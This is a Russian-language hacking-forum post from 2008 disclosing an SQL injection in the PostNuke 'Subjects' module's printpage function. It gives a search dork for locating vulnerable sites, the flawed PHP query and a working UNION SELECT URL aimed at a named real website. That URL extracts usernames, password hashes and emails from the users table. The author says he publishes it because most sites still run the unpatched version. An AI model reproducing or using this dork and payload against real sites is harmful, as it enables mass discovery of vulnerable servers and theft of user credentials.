Показать сообщение отдельно

Уязвимости модулей PostNuke
  #1  
Старый 16.12.2008, 00:38
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию Уязвимости модулей PostNuke

PostNuke. Модуль:Subjects SQL

Уязвимый продукт: Модуль:Subjects Функция: printpage
Версия: <=1.5
Дорк: "inurl:module=subjects"

Уязвимый кусок кода:
PHP код:
    $result $dbconn->Execute("SELECT $column[pageid]$column[parentpageid]
                           
$column[subid]$subcolumn[subname]$column[pagetitle]
                           
$column[pagecontent]$column[pagefile],
                           
$column[pageauthor]$column[pageauthoremail]$column[pageauthorurl]
                           
$column[pagedatetime]$column[pagecounter] 
                           FROM 
$pntable[subpages]$pntable[subjects] 
                           WHERE 
$column[pageid]=$pageid AND 
                           
$column[subid]=$subcolumn[subid]"); 
Я бы хотел написать, что из кода видно. что уязвимый параметр pageid, но это конечно не так .
Из этого кода нифига не видно. если вы до этого не сталкивались с этим движком, так что придётся Вам поверить мне на слово

Пример уязвимости:
http://rentflat.ru/index.php?module=subjects&func=printpage&pageid=-3+union+select+1,2,3,4,concat(pn_uname,0x3a,pn_pas s,0x3a,pn_email),6,7,8,9,0,11,12,13+from+nuke_user s+limit+1,1/*

Примечание: В данный момент существует версия этого модуля 2.01, в которой эта бага исправлена, но публикую её т.к. модуль достаточно популярен, и мне не встречались сайты с исправленной версией. в основном стоит эта.
 
Ответить с цитированием